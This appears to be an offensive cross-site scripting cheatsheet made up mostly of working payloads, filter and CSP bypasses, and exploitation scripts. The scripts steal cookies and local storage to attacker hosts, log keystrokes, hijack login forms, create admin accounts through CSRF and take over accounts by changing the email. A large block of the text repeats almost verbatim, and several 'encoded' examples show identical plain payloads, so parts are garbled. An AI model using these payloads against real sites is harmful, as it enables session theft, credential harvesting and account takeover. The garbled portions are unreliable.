XSS Cheatsheet: Cross-Site Scripting Payloads, Bypass & Exploitation
Thu May 28 2026
Category: Cheatsheet
Scope: Detection to exploitation for all XSS types. Covers HTML, attribute, JavaScript, URL, and CSS injection contexts with WAF bypass and CSP evasion.
Quick Detection Probes
<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><script>alert(1)</script>
'><script>alert(1)</script>
javascript:alert(1)
<svg onload=alert(1)>
{{7*7}}
${7*7}
Use unique strings (e.g., xsstest123) to locate reflection point first, then build payload around the context.
HTML Context
<!-- Basic -->
<script>alert(document.domain)</script>
<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<!-- Without parentheses (WAF bypass) -->
<script>alert`1`</script>
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<!-- Event handlers -->
<img src=x onerror=alert(1)>
<img src=x onerror="alert(document.cookie)">
<body onload=alert(1)>
<body onerror=alert(1)>
<input autofocus onfocus=alert(1)>
<input autofocus onblur=alert(1)>
<details open ontoggle=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<iframe src=x onerror=alert(1)>
<object data=x onerror=alert(1)>
<!-- SVG -->
<svg onload=alert(1)>
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1) attributeName=x></svg>
<svg><set onbegin=alert(1) attributeName=x></svg>
<svg><animateTransform onbegin=alert(1) attributeName=transform></svg>
<math><mtext><table><mglyph><style><!--</style><img title="--><img src=x onerror=alert(1)>">
<!-- MathML -->
<math><mtext><script>alert(1)</script></mtext></math>
<!-- HTML5 tags -->
<marquee onstart=alert(1)>
<isindex type=image src=1 onerror=alert(1)>
<form><button formaction=javascript:alert(1)>click</button></form>
<keygen autofocus onfocus=alert(1)>
<!-- Data URIs -->
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
<object data="data:text/html,<script>alert(1)</script>"></object>
Attribute Context
Injection inside an HTML attribute value:
<!-- Breaking out of attribute -->
"><script>alert(1)</script>
"><img src=x onerror=alert(1)>
" autofocus onfocus="alert(1)
" onmouseover="alert(1)" x="
<!-- Inside href -->
javascript:alert(1)
javascript:alert(document.cookie)
JaVaScRiPt:alert(1)
java	script:alert(1)
java
script:alert(1)
javascript:alert(1)
<!-- Inside src/data -->
x" onerror="alert(1)
x onerror=alert(1)//
<!-- Inside style attribute -->
" style="animation-name:x" onanimationstart="alert(1)
JavaScript Context
Injection inside <script> tags or JS code:
// Breaking out of string
'-alert(1)-'
';alert(1)//
\';alert(1)//
</script><script>alert(1)</script>
// Breaking out of JS block
</script><img src=x onerror=alert(1)>
// Already in JS, no quotes needed
;alert(1)//
\n alert(1)//
// Template literals
`${alert(1)}`
// Tagged templates
alert`1`
String.fromCharCode(97,108,101,114,116,40,49,41)
// eval variations
eval('ale'+'rt(1)')
eval(atob('YWxlcnQoMSk='))
Function('alert(1)')()
setTimeout('alert(1)',0)
setInterval('alert(1)',0)
DOM-Based XSS
Sink-based injection — data flows from source to dangerous sink without server round-trip.
Common Sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location.href
location.hash
location.search
location.pathname
document.referrer
window.name
document.cookie
localStorage.getItem()
sessionStorage.getItem()
Dangerous Sinks:
// Code execution
eval()
setTimeout()
setInterval()
Function()
document.write()
document.writeln()
innerHTML
outerHTML
insertAdjacentHTML()
// URL-based
location.href = ...
location.assign()
location.replace()
window.open()
DOM XSS Payloads:
// fragment/hash-based
http://target.com/#<img src=x onerror=alert(1)>
http://target.com/#"><script>alert(1)</script>
// If app does: document.getElementById('x').innerHTML = location.hash.slice(1)
http://target.com/#<img src=x onerror=alert(1)>
// If app does: eval(location.hash.slice(1))
http://target.com/#alert(1)
// If app reads document.URL and sets innerHTML
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
Blind XSS
Payload executes in a different context (admin panel, log viewer, email client, PDF generator):
<!-- Classic - calls back to your server -->
<script src="https://your-xss-catcher.com/xss.js"></script>
<img src=x onerror="fetch('https://your-xss-catcher.com/?c='+document.cookie)">
<script>new Image().src='https://your-xss-catcher.com/?cookie='+document.cookie</script>
<!-- XSS Hunter payload -->
"><script src=https://yoursubdomain.xss.ht></script>
<!-- Stealth with data exfil -->
<script>
fetch('https://your-server.com/?url='+btoa(location.href)
+'&cookie='+btoa(document.cookie)
+'&dom='+btoa(document.documentElement.innerHTML.substring(0,5000))
)
</script>
<!-- Form input fields -->
<img src=x onerror=this.src='https://your-server.com/?c='+document.cookie name="firstname">
<!-- Comment / review fields -->
'"><script>new Image().src="https://your-server.com/xss?c="+document.cookie</script>
<!-- User-agent / Referer header injection -->
User-Agent: <script>alert(1)</script>
Referer: "><script>alert(1)</script>
Filter Evasion
Tag/Keyword Bypass
<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
<sCrIpT>alert(1)</sCrIpT>
<!-- Null byte injection -->
<scr\x00ipt>alert(1)</scr\x00ipt>
<scr\x00ipt>alert(1)</script>
<!-- HTML entity encoding -->
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<!-- Unicode encoding -->
<img src=x onerror=alert(1)>
<script>alert(1)</script>
<!-- HTML5 entities -->
<img src=x onerror=	alert(1)>
<img src=x onerror=
alert(1)>
<!-- Whitespace alternatives -->
<img/src=x/onerror=alert(1)>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<!-- Obfuscated event handlers -->
<img src=x OnError=alert(1)>
<img src=x oNerRoR=alert(1)>
<!-- Breaking the word "script" -->
<scr<script>ipt>alert(1)</scr</script>ipt>
Character Encoding
<!-- Hex encoding in attributes -->
<img src=x onerror=alert(1)>
<!-- URL encoding (in href/src) -->
<a href="javascript:alert(1)">click</a>
<!-- Double URL encoding -->
%253Cscript%253Ealert(1)%253C%2Fscript%253E
<!-- Base64 -->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
Alternative Sinks
<!-- When <script> is blocked -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>
<details open ontoggle=alert(1)>
<video autoplay onloadstart=alert(1)><source>
<audio autoplay onloadstart=alert(1)><source>
<!-- When onerror/onload blocked -->
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<a href=x tabindex=1 onfocus=alert(1)>click</a>
<form id=x></form><button form=x formaction=javascript:alert(1)>
XSS Polyglots
Single payload that works in multiple contexts:
<!-- PortSwigger polyglot -->
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
<!-- Full polyglot -->
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'"><img src="http://i.imgur.com/P8mL8.jpg">
<!-- Short polyglot -->
"><svg onload=alert(1)//
'><svg onload=alert(1)//
Exploitation
Cookie Theft
// Basic cookie grab
document.location='https://attacker.com/?c='+document.cookie
new Image().src='https://attacker.com/?c='+encodeURIComponent(document.cookie)
fetch('https://attacker.com/?c='+btoa(document.cookie))
// XMLHttpRequest
var x=new XMLHttpRequest();
x.open('GET','https://attacker.com/?c='+document.cookie,true);
x.send();
// Via fetch with full headers
fetch('https://attacker.com/steal',{
method:'POST',
body:JSON.stringify({
cookie:document.cookie,
url:location.href,
ls:JSON.stringify(localStorage)
})
})
Keylogger
document.onkeypress=function(e){
fetch('https://attacker.com/?k='+encodeURIComponent(e.key));
}
Screenshot via html2canvas
var s=document.createElement('script');
s.src='https://html2canvas.hertzen.com/dist/html2canvas.min.js';
document.head.appendChild(s);
s.onload=function(){
html2canvas(document.body).then(canvas=>{
fetch('https://attacker.com/screenshot',{
method:'POST',
body:canvas.toDataURL()
})
})
}
DOM Manipulation (Phishing)
// Replace login form action
document.querySelector('form[action*="login"]').action='https://attacker.com/steal';
// Inject fake login form
document.body.innerHTML='<form action="https://attacker.com/steal" method="POST"><input name="u" placeholder="Username"><input name="p" type="password" placeholder="Password"><button>Login</button></form>';
CSRF via XSS
// GET-based CSRF
new Image().src='https://target.com/admin/delete-user?id=1';
// POST-based CSRF
var f=document.createElement('form');
f.action='https://target.com/admin/create-admin';
f.method='POST';
['username','password'].forEach((n,i)=>{
var inp=document.createElement('input');
inp.name=n;inp.value=['newadmin','Pass1!'][i];
f.appendChild(inp);
});
document.body.appendChild(f);f.submit();
XSS to Account Takeover (via CSRF token grab)
fetch('/account/settings',{credentials:'include'})
.then(r=>r.text())
.then(html=>{
var token=html.match(/csrf[_-]?token["\s]*[=:]["'\s]*([a-zA-Z0-9_-]+)/i)?.[1];
if(token){
fetch('/account/change-email',{
method:'POST',
credentials:'include',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'[email protected]&csrf_token='+token
})
}
})
CSP Bypass
CSP Audit
# Check response headers
Content-Security-Policy: script-src 'self' https://trusted.cdn.com;
# Common weaknesses:
unsafe-inline → inline scripts allowed
unsafe-eval → eval() allowed
* → wildcard (any domain)
data: → data URIs allowed
http: → any HTTP source
Bypass via Whitelisted CDNs
<!-- If AngularJS CDN is whitelisted -->
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.js"></script>
<div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div>
<!-- If jQuery CDN is whitelisted -->
<script src="https://code.jquery.com/jquery-3.6.0.js"></script>
<!-- JSONP endpoints on whitelisted domains -->
<script src="https://trusted.com/api?callback=alert(1)"></script>
Bypass via script-src 'nonce-...'
<!-- If nonce leaks in DOM or is predictable -->
<script nonce="leaked-nonce-value">alert(1)</script>
Bypass via unsafe-eval
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
Bypass via object/embed tags
<object data="data:text/html,<script>parent.alert(1)</script>"></object>
<embed src="data:text/html,<script>parent.alert(1)</script>">
Bypass via base-uri injection
<!-- If base-uri not restricted -->
<base href="https://attacker.com/">
<!-- Now all relative script src = attacker.com -->
Bypass via link prefetch
<link rel="prefetch" href="https://attacker.com/?c="+document.cookie>
XSS in JSON Responses
// If app returns JSON and page reflects it
Content-Type: text/html (not application/json)
// Response:
{"name":"</script><script>alert(1)</script>"}
// Or if JSON parsed into DOM
{"name":"<img src=x onerror=alert(1)>"}
XSS in HTTP Headers
// Reflected in response page
Referer: "><script>alert(1)</script>
User-Agent: "><script>alert(1)</script>
X-Forwarded-For: "><script>alert(1)</script>
Origin: "><script>alert(1)</script>
XSS in File Upload
<!-- SVG file upload -->
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<rect width="100" height="100"/>
</svg>
<!-- HTML file disguised as image -->
GIF89a<script>alert(1)</script>
<!-- PDF with JavaScript (if rendered in browser) -->
<!-- Use PDF with /OpenAction JS action -->
<!-- CSV injection (not XSS but related) -->
=cmd|' /C calc'!A0
@SUM(1+1)*cmd|' /C calc'!A0
mXSS (Mutation XSS)
Browser HTML parser mutates sanitized input back into executable form:
<!-- Input after sanitizer: -->
<p>safe</p>
<!-- After browser mutation (innerHTML assignment): -->
<p><script>alert(1)</script></p>
<!-- Exploiting innerHTML mutation -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<listing><img src="</listing><img src=x onerror=alert(1)>">
<style><img src="</style><img src=x onerror=alert(1)>">
Tools
| Tool | Use Case |
|---|---|
| XSS Hunter | Blind XSS capture (cookie, screenshot, DOM) |
| Dalfox | Fast automated XSS scanner |
| XSStrike | Intelligent XSS discovery |
| Burp Suite | Manual testing, active scanner |
| kxss | Find reflected params in URLs |
# Dalfox
dalfox url "http://target.com/?q=1"
dalfox file urls.txt --blind https://your-callback.com
# XSStrike
python xsstrike.py -u "http://target.com/?q=test"
# kxss (pipe URLs to it)
echo "http://target.com/?q=1" | kxss
cat urls.txt | kxss
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| CVE-2021-22159 | 2021 | HumHub Social Network | Stored XSS → admin account takeover |
| CVE-2022-26134 | 2022 | Confluence Server (OGNL) | XSS-like injection → RCE (related chain) |
| Samy Worm | 2005 | MySpace | Stored XSS → first major self-replicating XSS worm (1M friends in 20h) |
| British Airways Breach | 2018 | BA Website | Stored XSS via Magecart → 380K payment cards skimmed |
| eBay XSS | 2014–2015 | eBay | Persistent XSS in listings → phishing at scale |
| Twitter XSS Worm | 2010 | DOM-based XSS → auto-retweet worm, 100K+ tweets in 1 hour | |
| PayPal Stored XSS | 2012 | PayPal Business | Stored XSS → account takeover, $2,500 bounty |
| Yahoo Mail Worm | 2014 | Yahoo Mail | Stored XSS → credential harvesting via 0-day |
CTF Machines
- HTB: Templated — Flask/Jinja2 XSS + SSTI combo
- HTB: Nightmare — Blind XSS → admin cookie steal → RCE chain
- HTB: Forgot — Stored XSS in password reset flow
- HTB: BroScience — XSS + CSRF chain in PHP app
- OWASP WebGoat — XSS, CSP bypass, DOM-based XSS labs
- PentesterLab: XSS and MySQL FILE — XSS to escalation
Bug Bounty Highlights
- HackerOne — Uber (2016): Stored XSS in trip history → driver account takeover, $7,500
- HackerOne — Twitter (2019): DOM XSS in embedded Tweet → user session compromise, $2,940
- HackerOne — Automattic/WordPress (2018): Stored XSS in Gutenberg editor → author → admin via stored XSS
Example: Samy Worm (2005) — First Major XSS Worm
// Injected into MySpace profile (inline CSS trick to bypass filters)
// Condensed version of original payload:
<div id="mycode" style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')">
<span id="expr">
var B=String.fromCharCode(34);
var A=String.fromCharCode(39);
function g(){
var C;
try{var D=document.body.createTextRange();
C=D.htmlText}
catch(e){}
if(C){return C}else{return eval('document.body.inne'+'rHTML')}}
function getData(AU){
M=getFromURL('http://www.myspace.com/index.cfm?fuseaction=user.viewProfile&friendID='+AU,'Mytoken');
}
// Adds attacker as friend and replicates to victim's profile
</span></div>
Example: British Airways (2018) — Magecart Card Skimmer via XSS
// Attacker injected this script via third-party JS compromise on ba.com
// Script ran on checkout page and exfiltrated payment data
document.querySelector('#payment-form').addEventListener('submit', function() {
var data = {
name: document.querySelector('[name=name]').value,
card: document.querySelector('[name=cardnumber]').value,
cvv: document.querySelector('[name=cvc]').value,
expiry: document.querySelector('[name=expiry]').value,
email: document.querySelector('[name=email]').value
};
fetch('https://baways.com/api', { // typosquat domain
method: 'POST',
body: JSON.stringify(data)
});
});
Example: HTB: Nightmare — Blind XSS → Admin Cookie
// Step 1: Inject in a form field visible only to admin
// Name field: "><script src="http://attacker.com/steal.js"></script>
// Step 2: steal.js (hosted on your server)
var i = new Image();
i.src = "http://attacker.com/log?c=" + encodeURIComponent(document.cookie)
+ "&u=" + encodeURIComponent(document.location);
// Step 3: Admin visits page, cookie sent to attacker
// GET /log?c=session=admin_token_here&u=http://target/admin
// Step 4: Use stolen cookie
curl -b "session=admin_token_here" http://target.htb/admin
Example: Uber Stored XSS (2016, $7,500)
# Vulnerable field: trip receipt "note" field
# Attacker books a trip, sets note to:
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
# When Uber driver views trip details in their app → cookie exfiltrated
# Driver session cookie → driver account takeover
Defense Checklist
- Encode output in the correct context (HTML, attribute, JS, URL, CSS)
- Use Content-Security-Policy with restrictive directives (no
unsafe-inline) - Set HttpOnly flag on session cookies
- Set X-XSS-Protection: 1; mode=block (legacy, but still useful)
- Use DOMPurify for sanitizing HTML before insertion into DOM
- Avoid
innerHTML,document.write(),eval()with user-controlled data - Apply Same-Site cookie attribute to prevent CSRF chaining
References
Scope: Detection to exploitation for all XSS types. Covers HTML, attribute, JavaScript, URL, and CSS injection contexts with WAF bypass and CSP evasion.
Quick Detection Probes
<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><script>alert(1)</script>
'><script>alert(1)</script>
javascript:alert(1)
<svg onload=alert(1)>
{{7*7}}
${7*7}
Use unique strings (e.g., xsstest123) to locate reflection point first, then build payload around the context.
HTML Context
<!-- Basic -->
<script>alert(document.domain)</script>
<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<!-- Without parentheses (WAF bypass) -->
<script>alert`1`</script>
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<!-- Event handlers -->
<img src=x onerror=alert(1)>
<img src=x onerror="alert(document.cookie)">
<body onload=alert(1)>
<body onerror=alert(1)>
<input autofocus onfocus=alert(1)>
<input autofocus onblur=alert(1)>
<details open ontoggle=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<iframe src=x onerror=alert(1)>
<object data=x onerror=alert(1)>
<!-- SVG -->
<svg onload=alert(1)>
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1) attributeName=x></svg>
<svg><set onbegin=alert(1) attributeName=x></svg>
<svg><animateTransform onbegin=alert(1) attributeName=transform></svg>
<math><mtext><table><mglyph><style><!--</style><img title="--><img src=x onerror=alert(1)>">
<!-- MathML -->
<math><mtext><script>alert(1)</script></mtext></math>
<!-- HTML5 tags -->
<marquee onstart=alert(1)>
<isindex type=image src=1 onerror=alert(1)>
<form><button formaction=javascript:alert(1)>click</button></form>
<keygen autofocus onfocus=alert(1)>
<!-- Data URIs -->
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
<object data="data:text/html,<script>alert(1)</script>"></object>
Attribute Context
Injection inside an HTML attribute value:
<!-- Breaking out of attribute -->
"><script>alert(1)</script>
"><img src=x onerror=alert(1)>
" autofocus onfocus="alert(1)
" onmouseover="alert(1)" x="
<!-- Inside href -->
javascript:alert(1)
javascript:alert(document.cookie)
JaVaScRiPt:alert(1)
java	script:alert(1)
java
script:alert(1)
javascript:alert(1)
<!-- Inside src/data -->
x" onerror="alert(1)
x onerror=alert(1)//
<!-- Inside style attribute -->
" style="animation-name:x" onanimationstart="alert(1)
JavaScript Context
Injection inside <script> tags or JS code:
// Breaking out of string
'-alert(1)-'
';alert(1)//
\';alert(1)//
</script><script>alert(1)</script>
// Breaking out of JS block
</script><img src=x onerror=alert(1)>
// Already in JS, no quotes needed
;alert(1)//
\n alert(1)//
// Template literals
`${alert(1)}`
// Tagged templates
alert`1`
String.fromCharCode(97,108,101,114,116,40,49,41)
// eval variations
eval('ale'+'rt(1)')
eval(atob('YWxlcnQoMSk='))
Function('alert(1)')()
setTimeout('alert(1)',0)
setInterval('alert(1)',0)
DOM-Based XSS
Sink-based injection — data flows from source to dangerous sink without server round-trip.
Common Sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location.href
location.hash
location.search
location.pathname
document.referrer
window.name
document.cookie
localStorage.getItem()
sessionStorage.getItem()
Dangerous Sinks:
// Code execution
eval()
setTimeout()
setInterval()
Function()
document.write()
document.writeln()
innerHTML
outerHTML
insertAdjacentHTML()
// URL-based
location.href = ...
location.assign()
location.replace()
window.open()
DOM XSS Payloads:
// fragment/hash-based
http://target.com/#<img src=x onerror=alert(1)>
http://target.com/#"><script>alert(1)</script>
// If app does: document.getElementById('x').innerHTML = location.hash.slice(1)
http://target.com/#<img src=x onerror=alert(1)>
// If app does: eval(location.hash.slice(1))
http://target.com/#alert(1)
// If app reads document.URL and sets innerHTML
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
Blind XSS
Payload executes in a different context (admin panel, log viewer, email client, PDF generator):
<!-- Classic - calls back to your server -->
<script src="https://your-xss-catcher.com/xss.js"></script>
<img src=x onerror="fetch('https://your-xss-catcher.com/?c='+document.cookie)">
<script>new Image().src='https://your-xss-catcher.com/?cookie='+document.cookie</script>
<!-- XSS Hunter payload -->
"><script src=https://yoursubdomain.xss.ht></script>
<!-- Stealth with data exfil -->
<script>
fetch('https://your-server.com/?url='+btoa(location.href)
+'&cookie='+btoa(document.cookie)
+'&dom='+btoa(document.documentElement.innerHTML.substring(0,5000))
)
</script>
<!-- Form input fields -->
<img src=x onerror=this.src='https://your-server.com/?c='+document.cookie name="firstname">
<!-- Comment / review fields -->
'"><script>new Image().src="https://your-server.com/xss?c="+document.cookie</script>
<!-- User-agent / Referer header injection -->
User-Agent: <script>alert(1)</script>
Referer: "><script>alert(1)</script>
Filter Evasion
Tag/Keyword Bypass
<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
<sCrIpT>alert(1)</sCrIpT>
<!-- Null byte injection -->
<scr\x00ipt>alert(1)</scr\x00ipt>
<scr\x00ipt>alert(1)</script>
<!-- HTML entity encoding -->
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<!-- Unicode encoding -->
<img src=x onerror=alert(1)>
<script>alert(1)</script>
<!-- HTML5 entities -->
<img src=x onerror=	alert(1)>
<img src=x onerror=
alert(1)>
<!-- Whitespace alternatives -->
<img/src=x/onerror=alert(1)>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<!-- Obfuscated event handlers -->
<img src=x OnError=alert(1)>
<img src=x oNerRoR=alert(1)>
<!-- Breaking the word "script" -->
<scr<script>ipt>alert(1)</scr</script>ipt>
Character Encoding
<!-- Hex encoding in attributes -->
<img src=x onerror=alert(1)>
<!-- URL encoding (in href/src) -->
<a href="javascript:alert(1)">click</a>
<!-- Double URL encoding -->
%253Cscript%253Ealert(1)%253C%2Fscript%253E
<!-- Base64 -->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
Alternative Sinks
<!-- When <script> is blocked -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>
<details open ontoggle=alert(1)>
<video autoplay onloadstart=alert(1)><source>
<audio autoplay onloadstart=alert(1)><source>
<!-- When onerror/onload blocked -->
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<a href=x tabindex=1 onfocus=alert(1)>click</a>
<form id=x></form><button form=x formaction=javascript:alert(1)>
XSS Polyglots
Single payload that works in multiple contexts:
<!-- PortSwigger polyglot -->
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
<!-- Full polyglot -->
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'"><img src="http://i.imgur.com/P8mL8.jpg">
<!-- Short polyglot -->
"><svg onload=alert(1)//
'><svg onload=alert(1)//
Exploitation
Cookie Theft
// Basic cookie grab
document.location='https://attacker.com/?c='+document.cookie
new Image().src='https://attacker.com/?c='+encodeURIComponent(document.cookie)
fetch('https://attacker.com/?c='+btoa(document.cookie))
// XMLHttpRequest
var x=new XMLHttpRequest();
x.open('GET','https://attacker.com/?c='+document.cookie,true);
x.send();
// Via fetch with full headers
fetch('https://attacker.com/steal',{
method:'POST',
body:JSON.stringify({
cookie:document.cookie,
url:location.href,
ls:JSON.stringify(localStorage)
})
})
Keylogger
document.onkeypress=function(e){
fetch('https://attacker.com/?k='+encodeURIComponent(e.key));
}
Screenshot via html2canvas
var s=document.createElement('script');
s.src='https://html2canvas.hertzen.com/dist/html2canvas.min.js';
document.head.appendChild(s);
s.onload=function(){
html2canvas(document.body).then(canvas=>{
fetch('https://attacker.com/screenshot',{
method:'POST',
body:canvas.toDataURL()
})
})
}
DOM Manipulation (Phishing)
// Replace login form action
document.querySelector('form[action*="login"]').action='https://attacker.com/steal';
// Inject fake login form
document.body.innerHTML='<form action="https://attacker.com/steal" method="POST"><input name="u" placeholder="Username"><input name="p" type="password" placeholder="Password"><button>Login</button></form>';
CSRF via XSS
// GET-based CSRF
new Image().src='https://target.com/admin/delete-user?id=1';
// POST-based CSRF
var f=document.createElement('form');
f.action='https://target.com/admin/create-admin';
f.method='POST';
['username','password'].forEach((n,i)=>{
var inp=document.createElement('input');
inp.name=n;inp.value=['newadmin','Pass1!'][i];
f.appendChild(inp);
});
document.body.appendChild(f);f.submit();
XSS to Account Takeover (via CSRF token grab)
fetch('/account/settings',{credentials:'include'})
.then(r=>r.text())
.then(html=>{
var token=html.match(/csrf[_-]?token["\s]*[=:]["'\s]*([a-zA-Z0-9_-]+)/i)?.[1];
if(token){
fetch('/account/change-email',{
method:'POST',
credentials:'include',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'[email protected]&csrf_token='+token
})
}
})
CSP Bypass
CSP Audit
# Check response headers
Content-Security-Policy: script-src 'self' https://trusted.cdn.com;
# Common weaknesses:
unsafe-inline → inline scripts allowed
unsafe-eval → eval() allowed
* → wildcard (any domain)
data: → data URIs allowed
http: → any HTTP source
Bypass via Whitelisted CDNs
<!-- If AngularJS CDN is whitelisted -->
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.js"></script>
<div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div>
<!-- If jQuery CDN is whitelisted -->
<script src="https://code.jquery.com/jquery-3.6.0.js"></script>
<!-- JSONP endpoints on whitelisted domains -->
<script src="https://trusted.com/api?callback=alert(1)"></script>
Bypass via script-src 'nonce-...'
<!-- If nonce leaks in DOM or is predictable -->
<script nonce="leaked-nonce-value">alert(1)</script>
Bypass via unsafe-eval
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
Bypass via object/embed tags
<object data="data:text/html,<script>parent.alert(1)</script>"></object>
<embed src="data:text/html,<script>parent.alert(1)</script>">
Bypass via base-uri injection
<!-- If base-uri not restricted -->
<base href="https://attacker.com/">
<!-- Now all relative script src = attacker.com -->
Bypass via link prefetch
<link rel="prefetch" href="https://attacker.com/?c="+document.cookie>
XSS in JSON Responses
// If app returns JSON and page reflects it
Content-Type: text/html (not application/json)
// Response:
{"name":"</script><script>alert(1)</script>"}
// Or if JSON parsed into DOM
{"name":"<img src=x onerror=alert(1)>"}
XSS in HTTP Headers
// Reflected in response page
Referer: "><script>alert(1)</script>
User-Agent: "><script>alert(1)</script>
X-Forwarded-For: "><script>alert(1)</script>
Origin: "><script>alert(1)</script>
XSS in File Upload
<!-- SVG file upload -->
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<rect width="100" height="100"/>
</svg>
<!-- HTML file disguised as image -->
GIF89a<script>alert(1)</script>
<!-- PDF with JavaScript (if rendered in browser) -->
<!-- Use PDF with /OpenAction JS action -->
<!-- CSV injection (not XSS but related) -->
=cmd|' /C calc'!A0
@SUM(1+1)*cmd|' /C calc'!A0
mXSS (Mutation XSS)
Browser HTML parser mutates sanitized input back into executable form:
<!-- Input after sanitizer: -->
<p>safe</p>
<!-- After browser mutation (innerHTML assignment): -->
<p><script>alert(1)</script></p>
<!-- Exploiting innerHTML mutation -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<listing><img src="</listing><img src=x onerror=alert(1)>">
<style><img src="</style><img src=x onerror=alert(1)>">
Tools
| Tool | Use Case |
|---|---|
| XSS Hunter | Blind XSS capture (cookie, screenshot, DOM) |
| Dalfox | Fast automated XSS scanner |
| XSStrike | Intelligent XSS discovery |
| Burp Suite | Manual testing, active scanner |
| kxss | Find reflected params in URLs |
# Dalfox
dalfox url "http://target.com/?q=1"
dalfox file urls.txt --blind https://your-callback.com
# XSStrike
python xsstrike.py -u "http://target.com/?q=test"
# kxss (pipe URLs to it)
echo "http://target.com/?q=1" | kxss
cat urls.txt | kxss
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| CVE-2021-22159 | 2021 | HumHub Social Network | Stored XSS → admin account takeover |
| CVE-2022-26134 | 2022 | Confluence Server (OGNL) | XSS-like injection → RCE (related chain) |
| Samy Worm | 2005 | MySpace | Stored XSS → first major self-replicating XSS worm (1M friends in 20h) |
| British Airways Breach | 2018 | BA Website | Stored XSS via Magecart → 380K payment cards skimmed |
| eBay XSS | 2014–2015 | eBay | Persistent XSS in listings → phishing at scale |
| Twitter XSS Worm | 2010 | DOM-based XSS → auto-retweet worm, 100K+ tweets in 1 hour | |
| PayPal Stored XSS | 2012 | PayPal Business | Stored XSS → account takeover, $2,500 bounty |
| Yahoo Mail Worm | 2014 | Yahoo Mail | Stored XSS → credential harvesting via 0-day |
CTF Machines
- HTB: Templated — Flask/Jinja2 XSS + SSTI combo
- HTB: Nightmare — Blind XSS → admin cookie steal → RCE chain
- HTB: Forgot — Stored XSS in password reset flow
- HTB: BroScience — XSS + CSRF chain in PHP app
- OWASP WebGoat — XSS, CSP bypass, DOM-based XSS labs
- PentesterLab: XSS and MySQL FILE — XSS to escalation
Bug Bounty Highlights
- HackerOne — Uber (2016): Stored XSS in trip history → driver account takeover, $7,500
- HackerOne — Twitter (2019): DOM XSS in embedded Tweet → user session compromise, $2,940
- HackerOne — Automattic/WordPress (2018): Stored XSS in Gutenberg editor → author → admin via stored XSS
Example: Samy Worm (2005) — First Major XSS Worm
